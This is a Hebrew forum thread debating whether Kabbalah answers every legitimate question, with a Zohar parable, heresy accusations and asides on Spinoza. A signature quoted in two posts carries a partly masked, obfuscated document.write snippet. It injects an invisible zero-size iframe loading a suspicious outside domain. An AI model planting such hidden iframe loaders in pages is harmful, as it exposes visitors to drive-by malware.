| נשלח ב-14/10/2010 17:09 |
 |
| |
יש בקבלה תשובה לכל שאלה (+++)
טענה יומרנית משהו, לא ?
הזוהר בפרשת תרומה מביא משל נחמד, שאביא אותו כאן בקצרה ובתרגום חופשי-
משל לאדם שגדל כל ימיו בין ההרים ולא התערב עם יושבי הכפרים. היה מגדל חיטה ואוכל אותה קליות כמו שהיא. פעם הזדמן לעיר. הגישו לפניו לחם, אכל וערב לו מאד. שאל ממה זה עשוי ואמרו לו מחיטה. הגישו לפניו סופגניות מתוקות, אכל וערב לו מאד. שאל ממה זה עשוי ואמרו לו מחיטה. הגישו לפניו מעדני מלכים, אכל וערב לו מאד. שאל ממה זה עשוי ואמרו לו מחיטה. אמר רבונו של עולם כל הדברים האלה היו מונחים בחיטה שלי ואני לא ידעתי !
והנמשל הוא ברור. יש בידי עם ישראל אוצר בלום, יהלום גולמי ענק ישר מן האדמה, והוא מתעסק עם העטיפה החיצונית שלו. מאחר שעוסקים בדבר השטחי נתקלים בקושיות וסתירות ואי התאמות וכו' וכו' (כמפורט בפורום זה לאורך ולרוחב).
במקום שאין אנשים השתדל להיות איש אמר הלל. ידיעותי וכ"ש הבנותי בחכמת הקבלה הן ככלב המלקק מן הים. בכל זאת נתקלתי פה ושם בכמה עניינים קשים שדרך צורת החשיבה של פנימיות התורה מקבלים משמעות אחרת וניתנים לעיכול. בקשו ממני חברים, ישנים אף חדשים, שאנסה להתמודד כאן עם שאלות והערות בכיוון הזה, ונבדוק יחד האם יש בקבלה תשובה על כל שאלה לגיטימית שיכול האדם לשאול.
אין לי שום עניין בשאלות היסטוריות. מבחינתי אישורו של הגר"א על חכמת הקבלה של האר"י (כמבואר בארוכה בהקדמת רבי חיים מוולוזין לספרא דצניעותא) הוא סוף פסוק. זאת התורה שאליה אני מבקש להתייחס ולראות האם יש בה כשלעצמה פתרון לכל שאלה לגיטימית.
שאלה לגיטימית היא שאלה על מהלך העולם מגילוי רצונו של הבורא והלאה, מה שנקרא בשפת הקבלה הצמצום. כל השאלות מיהו ומהו ומה זה עושה לו הן שאלות לא לגטימיות מכיוון שהן דורשות מאיתנו הנבראים להשתמש בצורת החשיבה המחודשת שאיתה נבראנו לחקור את מה שהיה לפני שהיא נבראה, וזו שאלת הבל (אדם לא יכול להרים את עצמו בשערות ראשו). מהצמצום ומטה הכל עומד לבירור והבנה.
אני לא יכול להכתיב סגנון, בודאי לא בפרא-שיטה הזה שנקרא אינטרנט, יש לי רק בקשה אחת:
אני רך בשנים מבחינה רוחנית (המחשב לא הסכים לקבל פחות מ-10 למרות שזו הרגשתי) ומוגבל מאד. לכן אבקש מכם לשמור על איזשהוא סדר במהלך האירועים. אנחנו נכנסים ביחד לשדה מוקשים גדול ומרתק, אבל אם נעבור אותו בשלום יהיה הרבה בידינו ובראשנו, והלא בשביל אנחנו חיים.
תודה על שיתוף הפעולה. בעזרת השם נעשה ונצליח.
 |
|
|
|
|
| נשלח ב-29/5/2011 08:36 |
|
| |
כושן
ברוך הבא אל הפורום!
מי שעוסק בקבלה כי בעיניו היא גילוי אלוהי, בין מסיני, בין קודם לכן, בין אחר כך, הריהו מקיים לדעתו מצוה. כפי שכתבת.
מי שטוען שהקבלה עונה על שאלות פילוסופיות או האמורות להיות פילוסופיות, כגון מה טיב הקשר בין האלוהים הרוחני לבין העולם הגשמי צריך להסביר מה ה"רווח" בתשובה על פני המצב של שאלה בלבד. זה מה שהתכוונתי להביע. וזה כמובן לא קשור לשאלה על מוצא הקבלה אלא על תוכנה.
כמדומה שהטוענים לאמיתות הקבלה אינם טוענים בהכרח שהיא מסיני. פעמים רבות הם מודים שהאר"י ידע דברים שלא ידעו כל ה"גדולים" מאדם, עד האבות, עד משה, ואפילו הרשב"י.
אם יש שאלות על התורה שבכתב ושבעל פה, אזי צריך לבררן. אבל כמדומה שזה נושא אחר וחבל לערבב ביניהן. נכון שאדם מסור לאמונותיו ומכבד אותן ולכן הוא נותן להן יחס מועדף לראשונה, אבל כל עוד הוא מודע לזה ומוכן לוותר עליהן, ומוותר עליהן כאשר מתברר שהן שקריות או אפילו נטולות יסוד, זה נראה נכון מבחינה פילוסופית. כמדומה ועל כל פנים לדעתי בחינה כזו פוסלת את הקבלה ומותירה את התורה היהודית באמיתותה ובקדושתה. וזה כמובן נושא לדיון בפני עצמו. ייתכן הרבה לעסוק בזה לאחרונה במספר אשכולות. לא היה לי זמן לדון בדברים כראוי, והסיכום שם היא כי יש דברים שאינם יכיחים. אבל יש להבדיל בין "יכיח" לבין "סותר". כל זה דרך אגב ובבקשה לא לערב את הנושאים לכאן. כאן אפשר לדון באותם עקרונות וליישמם לקבלה. למשל שהאמונה שהיא מפי הארי והוא קיבל אותה משמים יכולה להיות אמיתית אבל לא יכיחה. והרוצה ליישם את הכללים שהשתמשתי בהם שם לכאן מוזמן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-29/5/2011 02:50 |
|
| |
מיימוני,
בעמ' 17, כתבת:
"...כאן אני שואל שאלת תם (באמת): מה הרווחנו? למה עלינו לנסות לענות על שאלת פלוטינוס (מיסטיקאי, גוי, שתרם רבות ואולי ייסד את תורת הספירות): מה הקשר בין הרוחני המוחלט לעולם גשמי?
הקבלה הזו, במיוחד של האר"י, מספקת צורך אנושי מאד, סקרנות לגבי הבלתי ניתן לתפישה. לא רק שהיא עונה (ויותר מתשובה אחת). היא גם נותנת תעסוקה. המצוות אינן רק ענין חינוכי חברתי ואישי, אלא גם שירות עבור מערכת דינמית שמתרחשת, הפלא ופלא, בתוך עולם של אלוהות. המיסטיקאי המקובל מציץ לשם, רואה מה שאיש לא ראה ולא יראה, ואפילו מתבקש להתערב, להעלות ניצוצות, לתקן תיקונים, ולמענו נברא הכל, למען התיקונים שלו. כי הבריאה היא צורך גבוה. כדי להחזיק בדעות כאלו, צריך לא רק את הסקרנות בתחום, (ואת הרצון הטוב לעבוד את אלקים, חזקה על איש ציפור, שותף סוד ועוד כותבים שליבם באמת לשמים). צריך גם יכולת להתעלם מסתירות לוגיות, מקושיות פילוסופיות..." (ע"כ הציטוט)
המאמינים בתורת הקבלה, טוענים שמקורה מסיני, וממילא לא שייכים כאן טיעונים מהסוג של "מה הרווחנו?". לדעתי, נקודת המחלוקת העיקרית כאן נעוצה בשאלה ההסטורית נטו, של אמיתות הקבלה כפי שהיא מוכרת לנו. גם כדי להאמין בתורת הנגלה, "צריך גם יכולת להתעלם מסתירות לוגיות, מקושיות פילוסופיות," או ליתר דיוק, צריכים לצאת מנקודת הנחה שלכל שאלה יש תשובה, כפי שאתה עושה ביחס לסתירות ולשאלות העולות לגבי התורה שבכתב ושבעל פה. אין מחסור בסתירות ובשאלות לגבי האמונות שלך, אלא שאתה מאמין שניתן לתרץ אותן, ולא עוד, אלא שהתירוץ הוא נכון (או תירוץ אחר), ולא השאלה. לפעמים קוראים לזה אפולוגטיקה.
תוקן על ידי כושןרשעתים ב- 29/05/2011 02:57:40
|
|
|
|
|
|
| נשלח ב-29/5/2011 02:42 |
|
| |
שותף סוד,
לא הבנתי משהו: בעמ' 11 כתבת "אני לא מדבר על עצמי בלשון רבים". אולם, בעמ' 12 כתבת "ועל דא קא בכינן".
|
|
|
|
| נשלח ב-20/5/2011 17:12 |
|
| |
שותף סוד
התאמין לי שלא היה לי זמן?
הרי כדי לפתוח כזה אשכול צריך:
להסביר מהי קבלה, ולמצער למקד באיזו תקופה היסטורית של הקבלה אני מבקש להתמקד.
להסביר מהי מינות, ולהביא את ההלכות שנאמרו בה.
זה לוקח זמן שלא היה לי. עמך הסליחה. אולי בשבוע הבא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-20/5/2011 15:40 |
|
| |
| מיימוני כתב: |  | מפאת חוסר זמן קיצוני
שותף
נפתח אשכול מיוחד על המינות ומדוע לפי דעתי הקבלה היא מינות. אוקיי? _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מיימוני, מה אם פרעון ההבטחה ?
בינתיים מה שהבנתי מדבריך זה
שאינך יודע מינות מהי,
ושאינך יודע קבלה מהי,
אבל דבר אחד אתה יודע בודאות-
הקבלה היא מינות.
נחמד, לא ?
|
|
|
|
| נשלח ב-15/5/2011 11:05 |
|
| |
רק למקרה שלא הבהרתי בעבר,
אני לא מקבל את הטיעון של מר "שותפי סוד" אני לא חושב שתכלית התורה היא הקבלה הסוד או כל ניסוח אחר של הרעיון הזה.
תכלית התורה היא שישראל יקיימו אותה בתוך מסגרת העולם הזה , כדי שזה יקרה צריך להבין את התורה באופן נכון, ולשם כך מניסיוני יש הכרח להעזר בקבלה , אך גם ברמב"ם ובעוד הוגים, וכמובן לא לאבד את הביקורתיות כלפי אף שיטה, כדי להבין באמת את כוונת התורה יש הכרח להיות "חכם המבין מדעתו" (וזה לא סותר ענווה , ואדרבה כידוע ממשלי) והלואי שהיום בו הפורום הזה (ו/או אחרים) יהיו בשלים לכך יגיע כבר...
_________________
|
|
|
|
| נשלח ב-15/5/2011 08:50 |
|
| |
| 932woland כתב: | | הכפרי שהתפעל מן הלחם והעוגות טען שהם מונחים בחיטה שלו.
הכפרי לא טוען כלום, הרי עד הרגע הוא בכלל לא ידע שאפשר להוציא לחמניות טעימות מהקמח הגולמי שלו.
הוא פשוט שמח לדעת שאפשר להפיק דברים טובים כאלה מהקמח שכבר ממילא נמצא בידו.
הפרוש כי היהלום המלוטש הוא תורת הנסתר הוא, לעניות דעתי, הנחת המבוקש. מעודי לא ראיתי כיצד אותו 'נגלה' מכיל בתוכו כאפשרות [פוטנציאל] את ה'נסתר' האמור.
לא ראיתי אינה ראיה. אתה מוזמן להיכנס לבית המדרש ותראה ותהנה גם אתה. ממילא כבר יש לך את הקמח, למה לא תלמד לאפות עוגות ממנו ?
|
|
|
|
|
|
| נשלח ב-14/5/2011 22:18 |
|
| |
עניני יהלומים. תשובה לשותפיסוד
שלום
תשובה לשותפיסוד.
הכפרי שהתפעל מן הלחם והעוגות טען שהם מונחים בחיטה שלו.
ביטוי מדויק יותר יהיה כי יש לקמח פוטנציאל לההפך לחם ועוגות. הוא הכרחי להם אבל אינו מספיק. נדמה לי שלדבר זה נסכים והמחלוקת על הנוסף לכך ופרושו.
יהיו נתונים לנו טון ברזל, גם זכוכית ופלסטיק וגומי ובד. האם מכונית מונחת לפנינו? ודאי שלו. הכפרי נמצא בעמדת נחיתות לעומת אנשי העיר. המכונית היא ביטוי ליכולות רבות שפותחו על ידי התרבות. וכבר ציינתי כי עיר היא 'קיביטס' ומכאן 'ציביליזציה'. ערב עסעודית יושבת על ים נפט אותו היא שואבת ומוכרת. הנפט מכניס לקופתה ערמות של מליארדי דולרים. אבל ציביליזציה מערבית אין לה, שעל כן היא בעמדת נחיתות.
בעל השיחה ממשיך ואומר לנו שני דברים עליהם אני חולק.
א. יש בידינו יהלום גלמי ואנחנו מתעסקים עם העטיפה החיצונית השטחית.
ב. היהלום הגולמי הוא תורת הנגלה, המלוטש הוא תורת הנסתר.
היהלום הגולמי, תורת הנגלה הוא, כשלעצמו, בעל עומק ומשמעויות רבות וחשובות. צריך להשקיע הרבה יכולת אינטלקטואלית בחקירתו והבנתו של עולם זה
מדוע עטיפה חיצונית היא שטחית - זאת לא הבנתי. וכאן היתה מחלוקת בינינו.
מדוע למשל לא להניח את חוקי התורה שבכתב כיהלום גלמי, - כתשתית מכוננת, שעליה נוצרה אחר כך תורה שבעל פה - שהיא מפעל ענקים מיוחד במינו? תורה זו שבעלפה יצרה את המשפט העברי, מעשה מונומנטאלי, שהוא פאר היצירה של חז'ל. [מעניין שההשג התרבותי הגדול של רומא הוא המשפט הרומי, עליו התפתח כל עולם המשפט האירופאי].
הפרוש כי היהלום המלוטש הוא תורת הנסתר הוא, לעניות דעתי, הנחת המבוקש. מעודי לא ראיתי כיצד אותו 'נגלה' מכיל בתוכו כאפשרות [פוטנציאל] את ה'נסתר' האמור.
ה'סוד' שבענין הוא היכולת להביא גופים זרים וחדשים, אשר לה היו באותו יהלום גולמי אפילו כאפשרות, ולהלביש אותם עליו באופן מאולץ המתרץ עצמו כ'סוד'.
עודד
|
|
|
|
|
| נשלח ב-12/5/2011 12:02 |
|
| |
| מיימוני כתב: | | מפאת חוסר זמן קיצוני
שותף
נפתח אשכול מיוחד על המינות ומדוע לפי דעתי הקבלה היא מינות. אוקיי? _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
נשמח מאד.
|
|
|
|
| נשלח ב-12/5/2011 11:34 |
|
| |
מפאת חוסר זמן קיצוני
שותף
נפתח אשכול מיוחד על המינות ומדוע לפי דעתי הקבלה היא מינות. אוקיי?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-12/5/2011 09:19 |
|
| |
| מיימוני כתב: | | אתה מפרש את הפסוק מירמיהו כך:
לא אומר שנלמד לעשות חסד צדקה ומשפט, אלא שנלמד לדעת את השם בתור כזה שעושה חסד צדקה ומשפט בארץ, ולדעתי טעות בידך, יקירי. לא שנלמד לדעת את השם, שהרי את השם אי אפשר לדעת. ה' רוצה שנלמד את החסד והצדקה והמשפט שהוא תובע מאיתנו, ונלך בדרך זו.
הרואה אתה במה אנו נבדלים בהבנת הפסוק? אתה סבור שיש כאן קריאה בפסוק אלינו להכיר את השם עצמו, אולי כמו המקובלים, וממילא גם נלמד מידות טובות והנהגות ישרות. ואני סבור לא כמוך, שחלילה לנביא לומר כאלו דברים בלתי אפשריים, וכל הכוונה היא רק שכפי שה' נוהג עם העולם במשפט ובצדקה ובחסד, כך ראוי לנו גם כן להתנהג. |
|
מיימוני,
איש ציפור מתמקד על המילה השכל וידוע אותי, כלומר עשיית הטוב היא השכלתנו את הבורא המתגלה אלינו.
לפי דבריך אין מובן למילה אותי בפסוק.
אגב, אני עדיין מצפה להתייחסותך לדברי. ואחזור שוב:
מהי מינות ?
מי המגדיר אותה ?
מה דינו של המגדיר אחרים כמינים שלא כדין ?
תודה לך על התייחסותך.
|
|
|
|
| נשלח ב-12/5/2011 09:13 |
|
| |
| מטפחתספרים כתב: | | שותף, עד כמה שאני מבין לשיטתך אין בקבלה תשובה לכל שאלה אלא אתה מציע נקודת מבט קבלית שאם נאמצנה שאלות מסוימות פשוט לא תהיינה.
למשל, פיתרון להשערת גולדבך או את מספרי הלוטו לא נמצא בקבלה גם לשיטתך, לא כן? |
|
נראה לי ששאלה היא תוצאה של התנגשות בין שתי תצפיות/הנחות, וממילא תשובה לשאלה צריכה להיות סילוק ההתנגשות.
יתכן שהיתה טעות בשאלה, ואז התשובה תהיה באוקימתות שונות,
ויתכן שהשאלה היתה נכונה רק במסגרת ההנחות המוקדמות ואם אירגונן המחודש של ההנחות היא תעלם מאליה.
השערת גולדבך היא ניסוח מסויים של תכונות המספרים. אין כאן "שאלה" כלל, אלא נסיון להגדיר מבט על המציאות שלא ניתן כרגע להכריע עם הוא צודק או לא. הבנה שורשית יותר של המציאות (באמצעות הקבלה) יתכן ותוליד גם אישור או שלילה של הנסיון הזה.
מספרי הלוטו גם הם אינם "שאלה", אלא סתם רצון לדלג על סדר הזמן ולדעת מה יקרה מחר.
זה דבר שיש לו מתירין, הרי מחר נדע כולנו את המספרים. מה זה שייך לקבלה ולנושא האשכול ?
|
|
|
|
| נשלח ב-12/5/2011 08:50 |
|
| |
| 932woland כתב: | | שלום
תשובה לצענערענע.
שפינוזה אינו שייך ליהלום. בעל הנושא טען שהאוחז בקמח יהלום אינו זקוק ללבושים שעליו. השבתי לו מה שהשבתי.
הענין הזה חשוב ביותר משום הטענה המובעת כי די לבעל היהלום להתבודד בהר, לסגור את החלונות, להגיף את התריסים, ולהתעלם מכל מה שהשיגו אנשי העיר. טענה זו מציגה חולשה גדולה, פחד רב, ובמיוחד, סכנה גדולה, כיוון שבשעת הכרח תפתחנה הדלתות והשוכן בבידוד עשוי למצא עצמו בפני הרס פנימי חריף מאד.
|
|
עודד,
טוב שניסחת את הבנתך לגבי המשל שהובא בתחילת האשכול, כדי שנבין את האופן שבו אתה תופס את הדברים (וע"פ אתה תוקף הלאה).
ובכן, לא הבנת את המשל.
הכפרי התפעל ושמח מהמאכלים שאפשר להוציא מהקמח הגולמי שהיה בידו !
הקמח במשל הוא תורת הנגלה. המאכלים במשל הם תורת הנסתר.
עם ישראל מחזיק יהלום גולמי (תורת הנגלה) ויכול ורוצה ושמח להפיק ממנו יהלום מלוטש (תורת הנסתר).
מקווה שמכאן והלאה תתייחס לאופן הזה של הדברים. אשמח לתגובתך.
|
|
|
|
| נשלח ב-11/5/2011 14:06 |
|
| |
שותף, עד כמה שאני מבין לשיטתך אין בקבלה תשובה לכל שאלה אלא אתה מציע נקודת מבט קבלית שאם נאמצנה שאלות מסוימות פשוט לא תהיינה.
למשל, פיתרון להשערת גולדבך או את מספרי הלוטו לא נמצא בקבלה גם לשיטתך, לא כן?
|
|
|
|
| נשלח ב-11/5/2011 13:57 |
|
| |
שפינוזה והיהלום
שלום
תשובה לצענערענע.
שפינוזה אינו שייך ליהלום. בעל הנושא טען שהאוחז בקמח יהלום אינו זקוק ללבושים שעליו. השבתי לו מה שהשבתי.
הענין הזה חשוב ביותר משום הטענה המובעת כי די לבעל היהלום להתבודד בהר, לסגור את החלונות, להגיף את התריסים, ולהתעלם מכל מה שהשיגו אנשי העיר. טענה זו מציגה חולשה גדולה, פחד רב, ובמיוחד, סכנה גדולה, כיוון שבשעת הכרח תפתחנה הדלתות והשוכן בבידוד עשוי למצא עצמו בפני הרס פנימי חריף מאד.
שפינוזה מציג תמונת עולם מעניינת מאד. גם אם לא מסכימים איתה, יש בה חיות רבה [למרות המבנה ה'קר' של הכתיבה], יופי גדול שגב רב ומחשבות עמוקות ומועילות מאד על האדם, ראוי מאד להכיר השקפתו.
עודד
|
|
|
|
|
